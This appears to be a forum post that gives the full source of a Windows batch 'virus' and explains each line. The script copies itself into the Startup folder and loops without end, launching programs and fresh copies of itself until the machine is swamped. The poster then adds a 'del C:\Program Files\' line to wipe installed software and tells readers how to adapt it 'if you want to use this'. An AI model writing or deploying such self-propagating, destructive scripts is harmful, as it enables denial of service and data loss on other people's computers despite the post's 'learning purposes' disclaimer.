Or just..
@ECHO Off
copy %0 PATHOFSTARTUP\thenameofthefile.bat
title uberlewtviruszomg
:tehviruz
ECHO z0m9 73h 1337 b47ch v1ruzzzzz!!!!!!
start Notepad.exe
start MSPaint.exe
start Firefox.exe
start %0
GoTo tehviruz
EDIT: Decided to explain more :P
The @ECHO Off part was already explained in the above post..
The ":tehviruz" part starts the loop we've made there and to repeat it we use "GoTo tehviruz" so it goes to the start of ":tehviruz".. And then we just put everything we want to be done between ":tehviruz" and "GoTo tehviruz"…
ECHO just writes text to the command prompt..
The copy part should copy the virus to the start up. The copying part is not in the loop so it'll copy the file only once.. and of course, copy the path of startup to "PATHOFSTARTUP" part and change "thenameofthefile" part to the name of your "virus"..
Title should be easy to understand too.. Just sets the title to "uberlewtviruszomg" (without the "" of course).. Just change it to the title you want.
The "start" command part should be easy to understand too.. Just starts the program chosen.. Note that you may need to add the path of the program too.. And "start %0" starts the batch file itself.. Remove "Start firefox.exe" if the computer doesn't have firefox..
So this thing copies itself to start up and starts opening shitload of programs and the "virus" itself too so it'll open more programs.. Simple, stupid and batch :) And ofc this was only for learning purposes (incase someone would care about a simple and lame batch virus).
Oh, and I'll have to add..
del C:\Program Files\
That should be quite self explanitory(sp :p)… Just deletes the file/folder in the path you set.. Can be quite destructive :p That'll delete program files folder, INCASE it's at C drive.. Change incase different path if you want to use this.